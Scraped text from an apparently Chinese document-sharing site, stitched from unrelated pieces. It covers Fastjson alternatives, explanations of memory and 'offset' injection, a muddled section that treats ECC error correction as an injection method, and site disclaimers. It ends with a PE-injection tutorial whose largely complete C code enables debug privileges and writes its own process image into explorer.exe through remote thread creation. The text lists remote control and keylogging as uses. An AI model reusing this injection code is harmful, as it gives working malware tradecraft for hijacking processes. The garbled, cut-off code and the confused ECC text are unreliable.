4. 使用其他JSON解析库:如果Fastjson存在较多的安全漏洞,可以考虑使用其他的JSON解析库,比如Jackson、Gson 等。
内存注入原理
内存注入是一种计算机安全领域的技术,它利用软件漏洞或特定的技术手段将恶意代码注入到正在运行的程序的内存中。
通过内存注入,攻击者可以执行恶意操作,如执行恶意指令、窃取敏感信息、控制被攻击系统等。
内存注入的原理主要涉及以下几个方面:
1. 漏洞利用:内存注入通常利用软件漏洞,如缓冲区溢出、代码注入等,来实现将恶意代码注入到目标程序的内存中。
攻击者通过精心构造的输入数据,利用程序的漏洞,将恶意代码注入到程序的内存空间中。
2. 代码执行:一旦恶意代码成功注入到内存中,攻击者通过特定的技术手段触发恶意代码的执行。
这可以是通过修改程序的控制流,使其跳转到恶意代码的入口点,或者通过改变函数指针等方式将程序的执行流程转移到恶意代码上。
3. 权限提升:在内存注入攻击中,攻击者通常试图以高权限运行恶意代码,以获取更多的权限和控制权。
通过内存注入,攻击者可以利用漏洞或特定的技术手段提升自己的权限,从而绕过系统的安全机制,执行更加危险和复杂的攻击行为。
4. 操作控制:一旦恶意代码成功执行,攻击者就可以在目标系统中执行各种操作。
这可能包括窃取敏感信息、操纵系统资源、传播恶意软件等。
攻击者可以利用被注入的恶意代码来控制目标系统,从而满足他们的不法目的。
需要注意的是,内存注入是一种恶意攻击行为,违法了计算机系
统的安全和隐私。
为了防止内存注入攻击,开发人员和系统管理员需要采取相应的安全措施,如修复漏洞、限制程序访问权限、使用防火墙和安全软件等。
此外,用户也应保持软件和系统的及时更新,避免使用未经验证的软件和文件,以减少受到内存注入攻击的风险。
内存ecc注入原理
内存ecc注入原理
在系统开发与服务器管理中,内存错误纠错码(ECC)注入是一种常见的技术手段,它对于保证计算机运行稳定性和数据安全具有极为重要的作用。
下面我们将从原理、应用和优势三方面来解析内存ECC注入。
首先,内存ECC注入原理。
ECC采用了一种海明码的编码方式,包括校验位等信息,以保护内存中的数据安全性。
ECC一般分为单错误纠正和多错误校验两种模式。
在单错误纠正模式下,如果内存中的数据发生一次错误,那么该错误会被检测并纠正。
在多错误校验模式下,能够在数据出错时提供更加严格的保护,同时也会增大计算量。
其次,内存ECC注入的应用。
ECC技术是适用于数据传输过程中发生的任何错误,包括在处理器、内存、硬盘等设备组成的计算机系统间的数据传输中。
无论是高性能计算、数据库管理、云计算等领域,还是在航空、电信等关键领域中,都需要使用ECC技术来确保数据传输的正确性和可靠性。
最后,内存ECC注入的优势。
ECC技术能够纠正数据在传输过程中发生的错误,保证数据的正确,并有效提高系统运行的可靠性。
此外,ECC技术可以避免内存故障(包括硬件故障和软件故障)对系统稳定
性和数据完整性的影响,同时也能够提高内存利用率,降低硬件成本,为使用者带来实际的经济利益。
总之,内存ECC注入技术是一种非常实用的技术手段,可以有效提高系统的稳定性和数据的安全性。
在各种系统开发与服务器管理中,ECC技术都是非常重要的一环,对于实现计算机系统的高效性、可稳
定性、可靠性和安全性具有不可替代的作用。
偏移注入原理
偏移注入原理
偏移注入是一种常用的黑客攻击技术,这种技术可用于突破基于堆栈的内存保护措施,从而实现代码注入。
偏移注入需要利用攻击者控制的输入数据,将恶意代码注入到受害者的程序中。
在执行受害者程序时,恶意代码会被执行,从而实现攻击者的目标。
偏移注入原理涉及到内存布局、栈、寄存器的使用等知识。
攻击者需要了解程序内存布局的细节,包括代码段、数据段、堆和栈等部分。
攻击者还需要了解受害者程序的寄存器使用方式,以了解如何在注入代码时更好地利用寄存器。
偏移注入的步骤包括寻找注入点、编写恶意代码、构造合适的输入数据等。
在寻找注入点时,攻击者需要找到受害者程序中的可控制点,比如输入函数、格式化字符串函数等。
在编写恶意代码时,攻击者需要将代码编写为与受害者程序兼容的形式,并确保恶意代码可以执行攻击者的目标。
需要注意的是,偏移注入技术是一种非常危险的攻击技术,在使用时需要格外小心,以避免对受害者造成不可挽回的损害。
同时,为了防止偏移注入攻击,程序员需要注意内存保护措施的实现,包括使用栈保护、代码签名等。
- 1 -。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
高级内存代码注入技术1、概述1.1 PE注入我们知道进程注入的方法分类主要有以下几种:DLL注入利用注册表注入利用Windows Hooks注入利用远程线程注入利用特洛伊DLL注入不带DLL的注入直接将代码写入目标进程,并启动远程线程本文中的技术不同于以往的DLL注入和shellcode注入。
通过此方法可将一个进程的完整镜像完全注入到另外一个进程的内存空间中,从而在一个进程空间中包含了两套不同的代码。
与DLL注入相比,PE注入的主要优势是不需要很多文件,只需要MAIN.EXE注入到其他进程并唤起自身代码即可。
1.2 影响利用该方法可以达到一下多个效果:创建Socket及网络访问访问文件系统创建线程访问系统库访问普通运行时库远控键盘记录2、技术原理2.1 进程代码注入将代码写入进程的方法较简单,Windows提供了进程内存读取和写入的系统API。
首先需要获取某个进程的PID号,然后打开该进程,可以利用Kernel32链接库中的OpenProcess函数实现。
注:远程打开进程是受限的,从Vista起,就存在了类似UAC之类的防护措施。
其中主要的进程内存保护机制是Mandatory Integrity Control(MIC)。
MIC是基于“完整性级别”的对象访问控制保护方法。
完整性级别包括如下四个级别:低级别:被限制访问大部分系统资源(如IE);中级别:开启UAC时非特权用户和管理员组用户启动的进程;高级别:以管理员权限启动的进程系统级别:SYSTEM用户启动的进程,如系统服务。
根据以上完整性级别要求,我们的进程注入将只允许注入低级别或同等级别的进程。
本文将利用explorer.exe来举例,远程打开进程后利用VirtualAllocEx函数申请一段可保存本进程镜像的内存段,为了计算需要的内存大小我们可以通过读取PE头信息来获取。
?1 2 3 4 5 6 7 8 91011 /*获取进程模块镜像*/module = GetModuleHandle(NULL);/*获取PE头信息*/PIMAGE_NT_HEADERS headers = (PIMAGE_NT_HEADERS)((LPBYTE)module +((PIMAGE_DOS_HEA /*获取代码长度*/DWORD moduleSize = headers->OptionalHeader.SizeOfImage;2.2 获取二进制地址代码注入中遇到的一个常见问题是模块的基地址会不断变化的问题。
通常情况下,当进程启动时,MAIN函数的基地址是0X00400000。
当我们将代码注入到其他进程中时,新的基地址将产生在虚拟地址中不可预测的位置。
在一个EXE文件中,编译和链接后,所有的代码和数据地址都是固定的,并建立在虚拟内存基址。
对于PE注入,需要使用完整地址指针来修改数据的基地址,并且使用进程的重定位节。
当系统正常加载一个文件时,如果其基地址不可用,系统将为其重新设置一个基地址,同时系统加载器会修改代码中的重定位节。
于是,在该PE注入过程中,我们可以模仿系统的加载方式,我们定义变量delta来计算新地址,于是可以访问到代码中的完整地址甚至修改它们。
?1 2 3 4 5 6 7 /*在目标进程中新申请内存的偏移*/delta = (DWORD_PTR)((LPBYTE)distantModuleMemorySpace – headers->OptionalHeader.I /* 当前进程的镜像偏移量 */olddelta = (DWORD_PTR)((LPBYTE)module – headers->OptionalHeader.ImageBase);下一步,理解重定位数据是如何组织的非常重要。
重定位数据被保存在数据目录中,该目录可通过函数IMAGE_DERECTORY_ENTRY_BASERELOC来访问。
重定位数据目录是一个类似于IMAGE_BASE_RELOCATION数据结构的数据。
以下是该数据结构的定义:?1 2 3 4 5 6 7 typedef struct _IMAGE_BASE_RELOCATION {ULONG VirtualAddress;ULONG SizeOfBlock;} IMAGE_BASE_RELOCATION, *PIMAGE_BASE_RELOCATION;2.3 执行代码代码被注入后,可以尝试执行其中的函数。
首先需要解决的是要计算函数在远程进程中的的地址。
?1 2 3 4 5 LPTHREAD_START_ROUTINE remoteThread = (LPTHREAD_START_ROUTINE)((LPBYTE)injectedMo (DWORD_PTR)((LPBYTE)callRoutine – (LPBYTE)module));thread = CreateRemoteThread(proc, NULL, 0, remoteThread, NULL, 0, NULL);执行自身函数有很多种方法。
如下是一些可行的方法:CreateRemoteThread NtCreateThreadEx 挂起、注入、恢复例子代码?1 2 3 4 5 6 7 8 910111213141516 #include <stdafx.h>#include <windows.h>#include <tlhelp32.h>#include <process.h>#include <stdio.h>#pragma comment (lib, “winmm.lib”)#pragma comment (lib, “kernel32.lib”)18192021222324252627282930313233343536373839404142434445464748495051525354555657585960 /*获取进程ID号*/DWORD GetProcessIdByName(LPWSTR name){PROCESSENTRY32 pe32;HANDLE snapshot = NULL;DWORD pid = 0;snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snapshot != INVALID_HANDLE_VALUE){pe32.dwSize = sizeof(PROCESSENTRY32);if (Process32First(snapshot, &pe32)){do{if (!lstrcmp(pe32.szExeFile, name)){pid = pe32.th32ProcessID;break;}} while (Process32Next(snapshot, &pe32));}6263646566676869707172737475767778798081828384858687888990919293949596979899 100 101 102 103 104 CloseHandle(snapshot);}return pid;}DWORD main();extern “C” void mainCRTStartup();/*** 远程进程内存中注入PE*/HMODULE injectModule(HANDLE proc, LPVOID module){DWORD i = 0;DWORD_PTR delta = NULL;DWORD_PTR olddelta = NULL;/* 获取模块PE头 */PIMAGE_NT_HEADERS headers = (PIMAGE_NT_HEADERS)((LPBYTE)module + ((PIMAGE_DOS_H PIMAGE_DATA_DIRECTORY datadir;/* 计算注入代码长度 */DWORD moduleSize = headers->OptionalHeader.SizeOfImage;105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 LPVOID distantModuleMemorySpace = NULL;LPBYTE tmpBuffer = NULL;BOOL ok = FALSE;if (headers->Signature != IMAGE_NT_SIGNATURE)return NULL;if (IsBadReadPtr(module, moduleSize))return NULL;distantModuleMemorySpace = VirtualAllocEx(proc, NULL, moduleSize, MEM_RESERVE | if (distantModuleMemorySpace != NULL){tmpBuffer = (LPBYTE)VirtualAlloc(NULL, moduleSize, MEM_RESERVE | MEM_COMMIT, PA if (tmpBuffer != NULL){RtlCopyMemory(tmpBuffer, module, moduleSize);datadir = &headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELO if (datadir->Size > 0 && datadir->VirtualAddress > 0){delta = (DWORD_PTR)((LPBYTE)distantModuleMemorySpace – headers->OptionalHeader olddelta = (DWORD_PTR)((LPBYTE)module – headers->OptionalHeader.ImageBase);149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)(tmpBuffer + datadir->Viwhile (reloc->VirtualAddress != 0){if (reloc->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION)){DWORD relocDescNb = (reloc->SizeOfBlock – sizeof(IMAGE_BASE_RELOCATION)) / siz LPWORD relocDescList = (LPWORD)((LPBYTE)reloc + sizeof(IMAGE_BASE_RELOCATION));for (i = 0; i < relocDescNb; i++){if (relocDescList[i] > 0){DWORD_PTR *p = (DWORD_PTR *)(tmpBuffer + (reloc->VirtualAddress + (0x0FFF & (re*p -= olddelta;*p += delta;}}}reloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)reloc + reloc->SizeOfBlock);194 195 196197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 tmpBuffer[(DWORD)main - (DWORD)module] = 0×55;ok = WriteProcessMemory(proc, distantModuleMemorySpace, tmpBuffer, moduleSize, }VirtualFree(tmpBuffer, 0, MEM_RELEASE);}if (!ok){VirtualFreeEx(proc, distantModuleMemorySpace, 0, MEM_RELEASE); distantModuleMemorySpace = NULL;}}return (HMODULE)distantModuleMemorySpace;}/*** 获取DEBUG权限*/BOOL EnableDebugPrivileges(void)238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 {HANDLE token;TOKEN_PRIVILEGES priv;BOOL ret = FALSE;if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY {priv.PrivilegeCount = 1;priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid) != FALS AdjustTokenPrivileges(token, FALSE, &priv, 0, NULL, NULL) != FALSE){ret = TRUE;}CloseHandle(token);}return ret;}BOOL peInjection(DWORD pid, LPTHREAD_START_ROUTINE callRoutine){HANDLE proc, thread;282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 HMODULE module, injectedModule;BOOL result = FALSE;proc = OpenProcess(PROCESS_CREATE_THREAD |PROCESS_QUERY_INFORMATION |PROCESS_VM_OPERATION |PROCESS_VM_WRITE |PROCESS_VM_READ,FALSE,pid);if (proc != NULL){module = GetModuleHandle(NULL);injectedModule = (HMODULE)injectModule(proc, module);if (injectedModule != NULL){LPTHREAD_START_ROUTINE remoteThread = (LPTHREAD_START_ROUTINE)((LPBYTE)injected thread = CreateRemoteThread(proc, NULL, 0, remoteThread, NULL, 0, NULL);if (thread != NULL)326327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 CloseHandle(thread);result = TRUE;}else{VirtualFreeEx(proc, module, 0, MEM_RELEASE);}}CloseHandle(proc);}return result;}DWORD WINAPI entryThread(LPVOID param){DWORD newModuleD = (DWORD)param;MessageBox(NULL, L”Injection success. Now initializing runtime library.”, NUL mainCRTStartup();MessageBox(NULL, L”This will never be called.”, NULL, 0);return 0;}370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 DWORD main(){MessageBox(NULL, L”In Main “, NULL, 0);printf(“This printf can work because runt ime library is now initialized.\n”);MessageBox(NULL, L”In main end”, NULL, 0);ExitThread(0);return 0;}void entryPoint(){MessageBox(NULL, L”entryPoint”, NULL, 0);EnableDebugPrivileges();peInjection(GetProcessIdByName(L”explorer.exe”), entryThread);}。